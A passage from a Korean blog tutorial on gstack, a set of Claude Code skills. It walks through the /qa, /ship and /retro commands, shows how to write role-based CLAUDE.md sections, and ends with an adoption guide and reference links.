&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코드 리뷰가 끝났다면 실제 Chromium 브라우저로 앱을 테스트한다. &lt;code&gt;/qa&lt;/code&gt;는 &lt;b&gt;diff-aware&lt;/b&gt;로 변경 사항이 영향을 미치는 페이지를 먼저 테스트하고, 버그를 발견하면 atomic commit으로 수정한 뒤 회귀 테스트까지 자동 생성한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/qa https://localhost:3000&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 과정 (기능 설명 기반 예시, [ESTIMATE]):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;git diff 분석 중... 브리핑 API, 알림 컴포넌트 변경 감지&lt;br /&gt;실제 Chromium 시작 중... (첫 실행 ~3초, 이후 ~100ms/명령)&lt;br /&gt;&lt;br /&gt;[1/4] /dashboard &amp;mdash; 브리핑 카드 렌더링&lt;br /&gt;[2/4] /settings/notifications &amp;mdash; 알림 설정 저장&lt;br /&gt;[3/4] /api/briefing/generate &amp;mdash; 응답 2.3초 (권장: 2초 이하)&lt;br /&gt;[4/4] 캘린더 연결 해제 시 fallback 화면 버그 발견&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[AUTO-FIX]&lt;/b&gt; 오류 화면 &amp;rarr; 빈 상태 UI로 수정 후 커밋&lt;br /&gt;회귀 테스트 자동 생성: tests/calendar-disconnected.spec.ts&lt;br /&gt;&lt;br /&gt;앱 건강 점수: 72/100 &amp;rarr; 89/100&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 12px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;[ESTIMATE] 위 출력 형식은 /qa의 공식 기능(diff-aware 테스트, auto-fix, 회귀 테스트 생성, Health Score)을 기반으로 재구성한 예시입니다. 실제 출력 형식은 다를 수 있습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #ffc107; margin: 15px 0;&quot;&gt;&lt;b&gt;팁 &amp;mdash; 로그인이 필요한 페이지 테스트:&lt;/b&gt; 먼저 &lt;code&gt;/setup-browser-cookies&lt;/code&gt;를 실행한다. Chrome/Arc/Brave/Edge의 실제 쿠키를 가져와 헤드리스 브라우저에 임포트하므로, 로그인된 상태로 대시보드&amp;middot;관리자 페이지를 테스트할 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 5: /ship &amp;mdash; PR 생성 및 배포 (2분)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;주의: /ship은 실제로 코드를 push하고 PR을 생성한다&lt;/b&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ship&lt;/code&gt;은 데모가 아닌 &lt;b&gt;실제 git push + PR 생성&lt;/b&gt;을 수행한다. 처음 gstack을 테스트한다면 &lt;b&gt;별도의 테스트 레포&lt;/b&gt;를 만들어 사용하는 것을 권장한다. 프로덕션 레포에서 실수를 방지하려면 먼저 &lt;code&gt;/careful&lt;/code&gt; 또는 &lt;code&gt;/freeze&lt;/code&gt;를 실행하여 안전 가드레일을 활성화할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;QA까지 통과했다면 이제 배포할 차례다. &lt;code&gt;/ship&lt;/code&gt;이 main 싱크, 테스트 실행, 커버리지 감사, PR 생성을 한 번에 처리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/ship&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 결과 (gstack README 공식 예시):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;main 최신화 중...&lt;br /&gt;테스트 실행 중...&lt;br /&gt;&lt;br /&gt;커버리지: &lt;b&gt;42 &amp;rarr; 51 테스트&lt;/b&gt; (+9 신규)&lt;br /&gt;&lt;br /&gt;PR 생성 완료: &lt;span style=&quot;color: #0066cc;&quot;&gt;https://github.com/you/calendar-app/pull/42&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보너스: /retro &amp;mdash; 주간 회고 (1분)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 주가 끝나면 &lt;code&gt;/retro&lt;/code&gt;로 팀 메트릭과 개인별 피드백을 확인한다. 팀원 전체를 다루려면 &lt;code&gt;/retro global&lt;/code&gt;로 프로젝트 전체 집계도 볼 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/retro&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 결과 (gstack docs/skills.md 공식 예시):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3월 1일 주차:&lt;/b&gt; 47 커밋 (팀 3명) | 3,200 LOC | 테스트 비율 38% | PR 12개 | 피크: 오후 10시 | 스트릭: 47일&lt;br /&gt;&lt;br /&gt;&lt;b&gt;나의 이번 주&lt;/b&gt;&lt;br /&gt;32 커밋, +2,400 LOC, 테스트 41%. 피크: 오후 9~11시&lt;br /&gt;가장 큰 성과: 쿠키 임포트 시스템 (브라우저 복호화 + 피커 UI)&lt;br /&gt;잘 한 것: 암호화, UI, 18개 유닛 테스트를 하나의 집중된 푸시로 완성&lt;br /&gt;&lt;br /&gt;&lt;b&gt;팀원 Alice&lt;/b&gt;&lt;br /&gt;12 커밋, app/services/ 집중. 모든 PR 200 LOC 이하&lt;br /&gt;기회: 테스트 비율 12% &amp;mdash; 결제 기능이 복잡해지기 전에 보강 권장&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1a3a52; color: white; padding: 20px 25px; border-radius: 12px; margin: 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: white; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;전체 스프린트 워크플로우 요약&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYopD6/dJMcac3BWvo/0DporUN1B46zUJK1ThZTkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYopD6/dJMcac3BWvo/0DporUN1B46zUJK1ThZTkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYopD6/dJMcac3BWvo/0DporUN1B46zUJK1ThZTkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYopD6%2FdJMcac3BWvo%2F0DporUN1B46zUJK1ThZTkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;1102&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0; line-height: 2.2;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/office-hours&lt;/code&gt; 문제 재정의 (5~10분)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/autoplan&lt;/code&gt; CEO&amp;middot;디자인&amp;middot;엔지니어링 리뷰 자동화 (5분)&lt;br /&gt;&amp;rarr; 구현 (시간 가변, Claude Code 기본 기능)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/review&lt;/code&gt; Staff Engineer 코드 감사 (3분)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/qa&lt;/code&gt; 브라우저 자동화 테스트 (5분)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/ship&lt;/code&gt; PR 생성 (2분)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/retro&lt;/code&gt; 주간 회고 (주 1회)&lt;/p&gt;
&lt;p style=&quot;margin: 15px 0 0 0; font-size: 13px; color: rgba(255,255,255,0.7);&quot; data-ke-size=&quot;size14&quot;&gt;gstack 오버헤드: 약 25분 | 가장 큰 가치: /office-hours에서 방향을 제대로 잡는 10분&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 11: 직접 따라하기 ===== --&gt;
&lt;h2 id=&quot;section11&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 직접 따라하기 &amp;mdash; 나만의 역할별 에이전트 셋업&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack을 그대로 사용하는 것 외에도, 이 철학을 응용해서 자신만의 역할별 CLAUDE.md를 만들 수 있다. gstack 없이도 핵심 아이디어를 적용하는 방법을 소개한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: 역할 매핑하기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;내 프로젝트에서 어떤 역할이 필요한지 먼저 정의한다. 소규모 스타트업이라면 다음 정도가 실용적이다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 나만의 역할 정의 예시
역할 1: PM/기획 모드
  &amp;rarr; &quot;이 기능이 왜 필요한가? 사용자 가치는 무엇인가?&quot;
  &amp;rarr; 요구사항 명확화, 우선순위 결정

역할 2: 아키텍처 모드
  &amp;rarr; &quot;어떻게 구현할 것인가? 확장성은?&quot;
  &amp;rarr; 기술 스택 결정, 데이터 모델 설계

역할 3: 구현 모드 (일반 Claude Code 사용)
  &amp;rarr; 실제 코드 작성

역할 4: 리뷰 모드
  &amp;rarr; &quot;버그는 없는가? 보안 이슈는? 성능은?&quot;
  &amp;rarr; 엄격한 시각으로 코드 재검토

역할 5: 배포 모드
  &amp;rarr; 체크리스트 기반 배포 진행&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: 역할별 CLAUDE.md 섹션 작성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단일 CLAUDE.md 파일 내에 역할별 섹션을 만들거나, 역할별로 별도 파일을 만들어 &quot;지금은 이 모드로 동작해줘&quot;라고 지정한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# CLAUDE.md &amp;mdash; PM 모드 섹션 예시

## [PM 모드] 기획 단계 지침
이 모드에서는 제품 매니저의 시각으로 분석한다.

### 핵심 질문
1. 이 기능이 실제 사용자 문제를 해결하는가?
2. 더 간단한 방법은 없는가?
3. 이 기능 없이 MVP가 가능한가?
4. 성공 지표(metrics)는 무엇인가?

### 산출물
- 사용자 스토리 (User Story)
- 인수 기준 (Acceptance Criteria)
- 우선순위 결정 근거

---

## [아키텍처 모드] 설계 단계 지침
이 모드에서는 시니어 엔지니어의 시각으로 분석한다.

### 핵심 질문
1. 데이터 플로우는 명확한가?
2. 확장성 병목은 어디인가?
3. 에지 케이스는 무엇인가?
4. 기술 부채를 만들지 않는가?

### 산출물
- 아키텍처 다이어그램
- API 인터페이스 정의
- 에지 케이스 목록&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: 실제 사용 &amp;mdash; 모드 명시적 전환&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 대화에서 역할을 명시적으로 선언하고 시작한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 사용 예시

# 기획 단계
&quot;[PM 모드] 사용자 소셜 로그인 기능을 추가하려 한다.
CLAUDE.md의 PM 모드 지침에 따라 분석해줘.&quot;

# 아키텍처 단계
&quot;[아키텍처 모드] 소셜 로그인 기능 구현 방법을 설계해줘.
데이터 플로우 다이어그램과 에지 케이스 목록을 포함해줘.&quot;

# 리뷰 단계
&quot;[리뷰 모드] 방금 작성한 소셜 로그인 코드를 검토해줘.
CI를 통과하더라도 프로덕션에서 문제가 될 수 있는 부분을 중심으로.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;gstack과 나만의 셋업, 뭘 선택해야 하나?&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;추천&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;빠르게 시작하고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack 그대로 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;브라우저 자동화 QA가 필요하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack (/browse, /qa)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;팀과 공유하고 일관성이 중요하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack 팀 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;내 프로젝트 특성에 맞게 커스터마이징하고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;나만의 역할별 CLAUDE.md&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Bun 설치가 번거롭다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;나만의 역할별 CLAUDE.md (단순 텍스트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;병렬 에이전트 실행이 필요하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack + Conductor&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 10: 결론 ===== --&gt;
&lt;h2 id=&quot;section12&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 쓰고, 언제 쓰지 않는가?&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;gstack 추천 여부&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;혼자 개발하는 스타트업 MVP&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;강력 추천&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;CEO&amp;middot;EM&amp;middot;QA 역할을 혼자 수행해야 할 때 가장 큰 가치를 발휘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;팀의 AI 도구 활용 격차가 큰 경우&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;추천&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;표준화된 워크플로우로 일관된 품질 바닥선 확보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Codex 리밋 소진 시 대안 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;추천&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack + Claude Code로 계획&amp;middot;리뷰&amp;middot;QA 파이프라인 유지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;빠른 프로토타이핑만 필요한 경우&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;선택적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;계획 단계가 오버헤드일 수 있음. /office-hours만 가볍게 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;이미 자체 CLAUDE.md가 잘 갖춰진 팀&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;선택적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack의 철학을 참고하되, 기존 셋업에 필요한 부분만 차용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;AI 코딩 도구를 처음 접하는 입문자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Claude Code 자체에 먼저 익숙해진 후 도입하는 것이 적합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 플레이북&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;오늘:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/garrytan/gstack&lt;/a&gt; README를 읽고 &lt;code&gt;/office-hours&lt;/code&gt; 한 번 실행해본다. 현재 프로젝트의 가정을 도전해볼 기회다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;이번 주:&lt;/b&gt; &lt;code&gt;/plan-ceo-review&lt;/code&gt; &amp;rarr; &lt;code&gt;/plan-eng-review&lt;/code&gt; &amp;rarr; &lt;code&gt;/review&lt;/code&gt; 파이프라인을 실제 기능 개발에 적용한다. 역할 분리가 결과물에 어떤 차이를 만드는지 체감한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;운영 반영:&lt;/b&gt; 팀에 맞게 포크하고 커스터마이징한다. Garry Tan도 &quot;Fork it. Improve it. Make it yours.&quot;라고 권한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 진정한 가치는 29개 프롬프트가 아니라, &lt;b&gt;&quot;개발 프로세스를 명시적으로 구조화한다&quot;는 사고방식&lt;/b&gt;이다. 프롬프트는 시간이 지나면 바뀌겠지만, 역할 분리와 구조화된 리뷰라는 원칙은 어떤 AI 도구를 쓰든 유효하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack GitHub 레포지토리&lt;/a&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/docs/skills.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack 스킬 전체 목록&lt;/a&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://techcrunch.com/2026/03/17/why-garry-tans-claude-code-setup-has-gotten-so-much-love-and-hate/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch: Why gstack has gotten love and hate&lt;/a&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.producthunt.com/products/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Product Hunt: GStack&lt;/a&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/codex/discussions/2251&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Usage Limits 토론&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Skills</category>
      <category>ai 코딩 에이전트</category>
      <category>claude code</category>
      <category>codex cli</category>
      <category>Garry Tan</category>
      <category>gstack</category>
      <category>gstack 설치</category>
      <category>gstack 튜토리얼</category>
